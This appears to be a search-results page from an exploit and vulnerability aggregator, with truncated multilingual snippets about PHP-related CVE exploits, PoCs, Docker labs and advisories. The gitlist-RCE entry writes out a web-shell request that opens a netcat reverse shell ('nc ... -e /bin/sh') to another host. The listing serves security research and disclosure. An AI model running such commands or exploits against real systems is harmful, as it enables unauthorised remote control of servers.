95710 matches found
CVE-2018-7600
CVE-2018-7600 - Esecuzione remota di codice in Drupal 7 Un'implementazione in Rust dell'exploit CVE-2018-7600 che prende di mira installazioni Drupal 7 vulnerabili = 7.57. Questa CLI riproduce il seguente flusso PoC: avvelena un form renderizzabile in cache tramite il percorso user/password, estr...
phpggc
PHPGGC: PHP Generic Gadget Chains PHPGGC ist eine Bibliothek vonunserialize-Payloads sowie ein Werkzeug, um diese von der Kommandozeile oder programmatisch zu erzeugen. Wenn Sie auf einer Website auf ein unserialize stoßen, deren Code Sie nicht haben, oder einfach ein Exploit bauen möchten,...
php-bypass-disable-functions
php-bypass-disable-functions Progetto dimostrativo su come bypassare il controllo di sicurezza disablefunctions di PHP su Linux, dove i processi possono ispezionare e persino scrivere la propria memoria tramite il file speciale /proc/self/map mediante operazioni standard sui file...
phuip-fpizdam
PHuiP-FPizdaM Cos'è Questo è un exploit per un bug in php-fpm CVE-2019-11043. In alcune configurazioni nginx + php-fpm, il bug è possibile da innescare dall'esterno. Questo significa che un utente web potrebbe ottenere l'esecuzione di codice se hai una configurazione vulnerabile vedi sotto. Write...
CVE-2020-15568
CVE-2020-15568 Ein schneller und einfacher POC für CVE-2020-15568. Nicht getestet, aber basierend auf Informationen von hier: https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/...
EUVD-2026-67044
opensslencrypt versions before 1.4.9 store an unkeyed SHA-256 hash of the plaintext in the cleartext file header metadata. Attackers can read this hash without the password to confirm guessed plaintexts offline or fingerprint identical plaintexts across separately-encrypted files...
CVE-2025-44608
CVE-2025-44608 CloudClassroom-PHP Project v1.0은 SQL Injection을 통한 RCE에 취약합니다. Vendor: https://github.com/mathurvishal/CloudClassroom-PHP-Project Software Link: https://github.com/mathurvishal/CloudClassroom-PHP-Project/archive/refs/heads/master.zip PoC Step 1: 영향을 받는 URL로 이동하여 ?viewid=1 매개변수에...
CVE-2023-6553-PoC
CVE-2023-6553 PoC LFI a RCE Esecuzione remota di codice non autenticata in Backup Migration Plugin WordPress. Esecuzione root@kitploit: $ python exploit.py Il seguente script PHP viene eseguito. root@kitploit: out.txt; ? Riferimenti Trovata esecuzione remota di codice non autenticata critica nel...
gitlist-RCE
gitlist-RCE CVE-2014-4511 esempio: dopo il caricamento riuscito della shell: accesso: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...
CVE-2025-44137
CVE-2025-44137 Lettura di file non autenticata in MapTiler Tileserver-php v2.0. Descrizione MapTiler Tileserver-php v2.0 è vulnerabile a Directory Traversal. La funzione renderTile all'interno di tileserver.php è responsabile della consegna delle tile memorizzate come file sul server tramite...
CVE-2020-12640
CVE-2020-12640: Inclusione Locale di File PHP tramite "Plugin Value" in Roundcube Webmail Una vulnerabilità di Path Traversal esiste nelle versioni di Roundcube precedenti alla 1.4.4, 1.3.11 e 1.2.10. Poiché i parametri "plugins" non eseguono sanitizzazione/filtro degli input, un attaccante con...
CVE-2024-52301-Research
CVE-2024-52301-Forschung Ein wenig Recherche zu CVE-2024-52301. Ich habe die Schwachstelle gesehen und wollte herausfinden, wie Laravel angreifbar ist. Dazu habe ich einfach die Versionen 6.20.44 und 6.20.45 verglichen und nachvollzogen, wie GET-Parameter letztendlich die Anwendungskonfiguration...
CVE-2026-40526
Volmarg Personal Management System contains a path traversal vulnerability in the GET /public/get-file/{path} endpoint. The path parameter is passed directly to file_get_contents() without canonicalization against a permitted base directory, allowing an authenticated attacker to read arbitrary fi...
CVE-2026-40526 Volmarg Personal Management System Path Traversal via get-file Endpoint
Volmarg Personal Management System contains a path traversal vulnerability that allows authenticated attackers to read arbitrary files by supplying absolute filesystem paths to the GET /public/get-file/path endpoint. The path route parameter is passed directly to filegetcontents without...
CVE-2018-16370
creationtimestamp| type| source ---|---|--- 2026-08-27 12:00:11+00:00| seen| Telegram/SVZvTdeqqmSRakJEIQhn4CjyThzPklzbZgbnjRRXOSeUVHM 2026-08-28 00:00:55+00:00| seen| Telegram/SVZvTdeqqmSRakJEIQhn4CjyThzPklzbZgbnjRRXOSeUVHM 2026-08-29 00:00:15+00:00| published-proof-of-concept|...
CVE-2026-3395-Lab
CVE-2026-3395 — MaxSite CMS बिना प्रमाणीकरण RCE लैब यह रिपॉजिटरी केवल शैक्षिक और शोध उद्देश्यों के लिए है। सभी परीक्षण स्थानीय Docker लैब वातावरण में किए जाने चाहिए। इस सेटअप को सार्वजनिक या उत्पादन प्रणालियों पर तैनात न करें। सारांश CVE-2026-3395 MaxSite CMS को प्रभावित करता है और एक प्रशासनिक...
cpanel-malware-cleaner-cve-2026
🚨 cPanel Malware Cleaner – CVE-2026-41940 Fix Tool Ein leichtgewichtiges und leistungsstarkes Sicherheitstool zur Erkennung, Entfernung und Prävention von Malware-Infektionen, die durch aktuelle cPanel-Schwachstellen einschließlich CVE-2026-41940 verursacht werden. 🔥 Funktionen Erkennt und entfer...
cve-2024-4577-lab
CVE-2024-4577 — Iniezione di Argomenti PHP-CGI → RCE Laboratorio Docker / CTF Un laboratorio Docker autonomo, creato da zero , che dimostra la primitiva reale di iniezione di argomenti → Esecuzione Remota di Codice alla base di CVE-2024-4577. Sfruttalo su http://localhost:8080, ottieni una shell ...
